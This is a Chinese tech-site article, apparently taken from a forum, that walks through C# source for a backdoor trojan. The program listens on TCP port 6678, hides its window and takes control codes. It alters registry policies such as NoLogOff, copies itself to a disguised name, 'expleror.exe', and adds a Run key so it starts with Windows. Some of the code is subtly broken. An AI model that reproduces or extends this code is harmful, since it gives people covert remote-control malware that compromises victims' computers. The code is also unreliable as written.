扫一扫
分享文章到微信
扫一扫
关注官方公众号
至顶头条
作者:petery 来源:论坛 2007年11月14日
关键字:
private void receive() { //设置读取数据的空间 byte[] bb = new byte[3]; //读取3个字节,i为实际读取的字节数 int i = stream.Read(bb,0,3); //转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb); string ss = System.Text.Encoding.ASCII.GetString(bb); //hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功 if(ss=="hjc") { MessageBox.Show("连接成功"); richTextBox1.AppendText("连接成功"); } if(ss== "hkz") { richTextBox1.AppendText(control +"控制成功"+"\r"); MessageBox.Show(control +"控制成功"+"\r"); } } |
private void InitializeComponent() { // // Form1 // //窗体显示的起点和大小 this.AutoScaleBaseSize = new System.Drawing.Size(6, 14); this.ClientSize = new System.Drawing.Size(368, 357); //窗体名称 this.Name = "Form1"; //设置属性让它后台运行 this.ShowInTaskbar = false; this.Text = "Form1"; this.WindowState = System.Windows.Forms.FormWindowState.Minimized; } |
public Form1() //窗体的构造函数 { // // Windows 窗体设计器支持所必需的 // InitializeComponent(); // // TODO: 在 InitializeComponent 调用后添加任何构造函数代码 //加入你的侦听代码 //端口你可以自已设定,我使用了固定的端口 int port =6678; //System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的 listener = new TcpListener(port); //启动侦听 listener.Start(); //增加接收控制码的线程,如果要停止线程可以用 Thread.abort() //reControlCode 是线程启动执行的函数,此函数根据接收的控制 //控制码选取合适的注册表修改函数 Thread thread = new Thread(new ThreadStart(reControlCode)); thread.Start(); } reControlCode函数如下,完整代码见程序 private void reControlCode() { //设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求 socket = listener.AcceptSocket(); //如果连接成功执行 while (socket.Connected) { //接收控制码 byte [] by =new byte[6]; int i = socket.Receive(by,by.Length ,0); string ss = System.Text.Encoding.ASCII.GetString(by); //根据控制码执行不同的功能 //修改注册表加入编码 switch (ss) { case "jiance"://测试连接,返回测试信息 string str ="hjc"; byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str); socket.Send(bytee,0,bytee.Length,0); break; case "zx1000": //修改注册表函数,自已定义,见下面分析 UnLogOff(); //返回控制消息 retMessage(); break; case "zx0100": //修改注册表函数 UnClose(); //返回控制消息 retMessage(); break; //重复的case功能与前面一样,略掉 default: break; }//case }//while } //private void reControlCode |
private void UnLogOff() { //得到主机的注册表的顶级节点 Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine; //设置一个注册表子键的变量 RegistryKey key1; try { //函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键 //registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改 key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true); //设置子键的键名,和值 key1.SetValue ("NoLogOff",1); //关闭打开的子键 key1.Close(); //警告字符串设定 mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; } catch{} //如果不存在自已建立 if(key1 ==null) { try { //使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键 RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"); key2.SetValue("NoLogOff",1); key2.Close(); mystr = mystr +"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!"; } catch{} } } |
private void moveCC1() { try { //函数File.Move(string sourceFileName,string destFileName)起移动文件的作用 //sourceFileName为要移动的文件名,destFileName为文件的新路径 File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe"); } catch {} //将新移的木马程序设为自启动.分析和前面一样 try { key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true); key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); key1.Close(); } catch{} if(key1 ==null) { try { RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"); key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe"); key1.Close(); } catch{} } } //moveCC1() |
如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。
现场直击|2021世界人工智能大会
直击5G创新地带,就在2021MWC上海
5G已至 转型当时——服务提供商如何把握转型的绝佳时机
寻找自己的Flag
华为开发者大会2020(Cloud)- 科技行者